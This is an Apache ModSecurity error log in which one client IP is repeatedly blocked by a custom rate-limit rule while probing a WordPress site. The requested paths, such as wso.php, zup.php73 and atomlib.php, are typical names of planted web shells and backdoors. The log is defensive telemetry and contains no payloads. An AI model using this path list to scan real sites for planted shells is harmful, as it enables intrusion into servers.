[Tue May 19 02:29:12.615569 2026] [:error] [pid 36491:tid 36501] [client 20.151.117.104:14226] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ncx.php"] [unique_id "agtaeE555B9CZb6D60kFbQAAAUY"]
[Tue May 19 02:29:13.044433 2026] [:error] [pid 44046:tid 44060] [client 20.151.117.104:14274] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ncx.php"] [unique_id "agtaeYYF4k2jfXJBXk0UFgAAAYw"]
[Tue May 19 02:29:13.548804 2026] [:error] [pid 36491:tid 36507] [client 20.151.117.104:14309] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "agtaeU555B9CZb6D60kFcwAAAUw"]
[Tue May 19 02:29:14.076399 2026] [:error] [pid 36491:tid 36498] [client 20.151.117.104:14227] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "agtaek555B9CZb6D60kFdAAAAUM"]
[Tue May 19 02:29:14.577845 2026] [:error] [pid 36491:tid 36497] [client 20.151.117.104:14285] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "agtaek555B9CZb6D60kFdgAAAUI"]
[Tue May 19 02:29:15.229394 2026] [:error] [pid 43916:tid 43935] [client 20.151.117.104:14154] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "agtae9QC236p33zJJvngYwAAAIs"]
[Tue May 19 02:29:15.667464 2026] [:error] [pid 36491:tid 36517] [client 20.151.117.104:14239] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wso.php"] [unique_id "agtae0555B9CZb6D60kFegAAAVY"]
[Tue May 19 02:29:16.198505 2026] [:error] [pid 36491:tid 36510] [client 20.151.117.104:14276] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wso.php"] [unique_id "agtafE555B9CZb6D60kFewAAAU8"]
[Tue May 19 02:29:16.684692 2026] [:error] [pid 36579:tid 36590] [client 20.151.117.104:14292] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wso.php"] [unique_id "agtafF-aoZxBfgL5vDy5kQAAAEg"]
[Tue May 19 02:29:17.101687 2026] [:error] [pid 36491:tid 36512] [client 20.151.117.104:14331] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wso.php"] [unique_id "agtafU555B9CZb6D60kFfQAAAVE"]
[Tue May 19 02:29:17.621180 2026] [:error] [pid 36579:tid 36597] [client 20.151.117.104:14277] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zup.php73"] [unique_id "agtafV-aoZxBfgL5vDy5kgAAAE8"]
[Tue May 19 02:29:18.094509 2026] [:error] [pid 36491:tid 36507] [client 20.151.117.104:14305] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zup.php73"] [unique_id "agtafk555B9CZb6D60kFfgAAAUw"]
[Tue May 19 02:29:18.589887 2026] [:error] [pid 36491:tid 36513] [client 20.151.117.104:14279] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zup.php73"] [unique_id "agtafk555B9CZb6D60kFgAAAAVI"]
[Tue May 19 02:29:19.062518 2026] [:error] [pid 44087:tid 44089] [client 20.151.117.104:14328] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zup.php73"] [unique_id "agtaf25HPHbH9GK7l6wReQAAAcA"]
[Tue May 19 02:29:19.561191 2026] [:error] [pid 36491:tid 36518] [client 20.151.117.104:14267] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "agtaf0555B9CZb6D60kFgQAAAVc"]
[Tue May 19 02:29:20.040014 2026] [:error] [pid 36491:tid 36500] [client 20.151.117.104:14332] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "agtagE555B9CZb6D60kFgwAAAUU"]
[Tue May 19 02:29:20.723471 2026] [:error] [pid 43916:tid 43944] [client 20.151.117.104:14304] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "agtagNQC236p33zJJvngZQAAAJQ"]
[Tue May 19 02:29:21.241664 2026] [:error] [pid 43916:tid 43948] [client 20.151.117.104:14330] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "agtagdQC236p33zJJvngZgAAAJg"]
[Tue May 19 02:29:21.808579 2026] [:error] [pid 43916:tid 43941] [client 20.151.117.104:14301] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blink.php"] [unique_id "agtagdQC236p33zJJvngaAAAAJE"]
[Tue May 19 02:29:22.317848 2026] [:error] [pid 36491:tid 36512] [client 20.151.117.104:14236] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blink.php"] [unique_id "agtagk555B9CZb6D60kFhQAAAVE"]
[Tue May 19 02:29:22.817971 2026] [:error] [pid 36493:tid 36555] [client 20.151.117.104:14303] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blink.php"] [unique_id "agtaggynkzQB5nM668roVgAAAQY"]
[Tue May 19 02:29:23.921339 2026] [:error] [pid 36579:tid 36595] [client 20.151.117.104:14320] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blink.php"] [unique_id "agtag1-aoZxBfgL5vDy5lAAAAE0"]
[Tue May 19 02:29:24.944419 2026] [:error] [pid 43916:tid 43929] [client 20.151.117.104:14282] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/randkeyword.PhP7"] [unique_id "agtahNQC236p33zJJvngawAAAIU"]
[Tue May 19 02:29:25.490139 2026] [:error] [pid 36491:tid 36516] [client 20.151.117.104:14241] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/randkeyword.PhP7"] [unique_id "agtahU555B9CZb6D60kFhgAAAVU"]
[Tue May 19 02:29:28.852569 2026] [:error] [pid 44087:tid 44099] [client 20.151.117.104:14323] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/randkeyword.PhP7"] [unique_id "agtaiG5HPHbH9GK7l6wRhwAAAco"]
[Tue May 19 02:29:29.292882 2026] [:error] [pid 36579:tid 36591] [client 20.151.117.104:14211] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/randkeyword.PhP7"] [unique_id "agtaiV-aoZxBfgL5vDy5lwAAAEk"]
[Tue May 19 02:29:29.828068 2026] [:error] [pid 36579:tid 36583] [client 20.151.117.104:14232] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/ectoplasm/"] [unique_id "agtaiV-aoZxBfgL5vDy5mAAAAEE"]
[Tue May 19 02:29:30.369810 2026] [:error] [pid 36579:tid 36605] [client 20.151.117.104:14158] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/ectoplasm/"] [unique_id "agtail-aoZxBfgL5vDy5mwAAAFc"]
[Tue May 19 02:29:30.815889 2026] [:error] [pid 36579:tid 36596] [client 20.151.117.104:14306] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/ectoplasm/"] [unique_id "agtail-aoZxBfgL5vDy5nQAAAE4"]
[Tue May 19 02:29:31.327306 2026] [:error] [pid 36492:tid 36534] [client 20.151.117.104:14171] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/ectoplasm/"] [unique_id "agtai2CVlogrkn9m2w4uCAAAAAw"]
[Tue May 19 02:29:31.787904 2026] [:error] [pid 44046:tid 44057] [client 20.151.117.104:14218] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "agtai4YF4k2jfXJBXk0UFwAAAYk"]
[Tue May 19 02:29:32.365724 2026] [:error] [pid 36492:tid 36522] [client 20.151.117.104:14229] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "agtajGCVlogrkn9m2w4uCwAAAAA"]
[Tue May 19 02:29:32.867194 2026] [:error] [pid 36491:tid 36497] [client 20.151.117.104:14273] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "agtajE555B9CZb6D60kFiQAAAUI"]
[Tue May 19 02:29:34.812379 2026] [:error] [pid 36491:tid 36495] [client 20.151.117.104:14161] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "agtajk555B9CZb6D60kFiwAAAUA"]
[Tue May 19 02:29:35.263645 2026] [:error] [pid 36491:tid 36502] [client 20.151.117.104:14230] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ww5.php"] [unique_id "agtaj0555B9CZb6D60kFjAAAAUc"]
[Tue May 19 02:29:35.890585 2026] [:error] [pid 36491:tid 36510] [client 20.151.117.104:14208] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ww5.php"] [unique_id "agtaj0555B9CZb6D60kFkAAAAU8"]
[Tue May 19 02:29:36.568850 2026] [:error] [pid 36491:tid 36508] [client 20.151.117.104:14269] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ww5.php"] [unique_id "agtakE555B9CZb6D60kFkwAAAU0"]
[Tue May 19 02:29:37.201023 2026] [:error] [pid 36492:tid 36527] [client 20.151.117.104:14318] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ww5.php"] [unique_id "agtakWCVlogrkn9m2w4uDAAAAAU"]
[Tue May 19 02:29:37.737616 2026] [:error] [pid 36491:tid 36499] [client 20.151.117.104:14224] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "agtakU555B9CZb6D60kFlwAAAUQ"]
[Tue May 19 02:29:38.338959 2026] [:error] [pid 36492:tid 36536] [client 20.151.117.104:14222] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "agtakmCVlogrkn9m2w4uDQAAAA4"]
[Tue May 19 02:29:38.974111 2026] [:error] [pid 36492:tid 36526] [client 20.151.117.104:14272] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "agtakmCVlogrkn9m2w4uEAAAAAQ"]
[Tue May 19 02:29:39.759598 2026] [:error] [pid 36492:tid 36533] [client 20.151.117.104:14246] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "agtak2CVlogrkn9m2w4uEwAAAAs"]
[Tue May 19 02:29:40.506960 2026] [:error] [pid 36492:tid 36528] [client 20.151.117.104:14280] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/classwithtostring.php"] [unique_id "agtalGCVlogrkn9m2w4uFQAAAAY"]
[Tue May 19 02:29:40.977321 2026] [:error] [pid 44087:tid 44103] [client 20.151.117.104:14293] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/classwithtostring.php"] [unique_id "agtalG5HPHbH9GK7l6wRigAAAc4"]
[Tue May 19 02:29:41.478798 2026] [:error] [pid 36492:tid 36539] [client 20.151.117.104:14290] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/classwithtostring.php"] [unique_id "agtalWCVlogrkn9m2w4uFwAAABE"]
[Tue May 19 02:29:42.007516 2026] [:error] [pid 36492:tid 36544] [client 20.151.117.104:14219] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/classwithtostring.php"] [unique_id "agtalmCVlogrkn9m2w4uGQAAABY"]
[Tue May 19 02:29:42.446676 2026] [:error] [pid 36579:tid 36603] [client 20.151.117.104:14175] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atomlib.php"] [unique_id "agtall-aoZxBfgL5vDy5oAAAAFU"]
[Tue May 19 02:29:43.002911 2026] [:error] [pid 43916:tid 43930] [client 20.151.117.104:14281] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atomlib.php"] [unique_id "agtal9QC236p33zJJvngbgAAAIY"]
[Tue May 19 02:29:45.138677 2026] [:error] [pid 36492:tid 36540] [client 20.151.117.104:14295] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atomlib.php"] [unique_id "agtamWCVlogrkn9m2w4uHAAAABI"]
[Tue May 19 02:29:45.982944 2026] [:error] [pid 36579:tid 36591] [client 20.151.117.104:14155] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atomlib.php"] [unique_id "agtamV-aoZxBfgL5vDy5ogAAAEk"]
[Tue May 19 02:29:46.842595 2026] [:error] [pid 44087:tid 44104] [client 20.151.117.104:14286] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "agtamm5HPHbH9GK7l6wRkAAAAc8"]
[Tue May 19 02:29:47.406661 2026] [:error] [pid 36492:tid 36527] [client 20.151.117.104:14302] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "agtam2CVlogrkn9m2w4uKgAAAAU"]
[Tue May 19 02:29:48.463315 2026] [:error] [pid 36493:tid 36572] [client 20.151.117.104:14192] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "agtanAynkzQB5nM668roZAAAARc"]
[Tue May 19 02:29:49.912066 2026] [:error] [pid 36491:tid 36518] [client 20.151.117.104:14212] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "agtanU555B9CZb6D60kFoQAAAVc"]
[Tue May 19 02:29:52.676544 2026] [:error] [pid 36579:tid 36585] [client 20.151.117.104:14149] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/php.php"] [unique_id "agtaoF-aoZxBfgL5vDy5qQAAAEM"]
[Tue May 19 02:29:53.801529 2026] [:error] [pid 36492:tid 36527] [client 20.151.117.104:14157] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/php.php"] [unique_id "agtaoWCVlogrkn9m2w4uPgAAAAU"]
[Tue May 19 02:29:54.438851 2026] [:error] [pid 36492:tid 36542] [client 20.151.117.104:14220] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/php.php"] [unique_id "agtaomCVlogrkn9m2w4uQAAAABQ"]
